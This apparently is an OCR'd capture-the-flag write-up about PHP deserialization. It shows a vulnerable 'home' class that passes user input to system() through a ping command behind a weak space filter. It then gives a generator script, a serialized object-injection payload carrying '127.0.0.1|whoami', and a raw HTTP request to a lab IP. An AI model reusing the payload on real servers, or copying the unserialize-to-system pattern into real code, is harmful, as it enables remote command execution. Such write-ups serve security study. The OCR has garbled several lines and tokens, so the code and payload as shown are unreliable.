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1 <?php
2
3 class home{
4
5 private $method;
6 private $args;
7 function __construct($method, $args) {
8
9
10 $this->method = $method;
11 $this->args = $args;
12 }
13
14 function __destruct(){
15 if (in_array($this->method, array("ping"))) {
16 call _user_func_array(array($this, $this->method), $this->args);
17 }
18 }
19
20 function ping($host){
21 system("ping -c 2 $host");
22 }
23 function waf($str){
24 $str=str_replace(' ','',$str);
25 return $str;
26 }
27
28 function __wakeup(){
29 foreach($this->args as $k => $v) {
30 $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
31 }
32 }
33 }
34 $a=@$_POST['a'];
35 @unserialize($a);
36 ?>
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$_POST['a"] -> unserialize($a) -> __wakeup() -> __destruct()
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1 <?php

2

3 include "home.php";

4 $data = new home("ping",array('127.0.0.1|whoami'));
5 echo serialize($data);

6

7 >

EREATET T M. BEEE—ASIFS

# H.5ESwhoami

payload:
0O:4:"home":2:{s:12:"homemethod";s:4:"ping";s:10:"homeargs";a:1:{i:0;s:7:";whoami";}}
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0O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:
{i:0;s:16:"127.0.0.1|whoami";}}
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POST /shtml/html/common/home.php HTTP/1.1

Host: 192.168.238.128

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv
Accept: text/html,application/xhtml+xml,applic
Accept-Language: zh-CN,zh:g=0.8,zh-TW:g=0.7.zh
Accept-Encoding: gzip, deflate

Referer: http://192.168.238.128/html/html/comm
Content-Type: application/x-www-form-urlencode
Content-Length: 186

Connection: close

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1
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a=0:4:"home":2:{s:12:"%00home%00method";s:4:"ping";5:10:"%00home%00args";a:1:{i:0;
5:16:"127.0.0.1jwhoami”;}}
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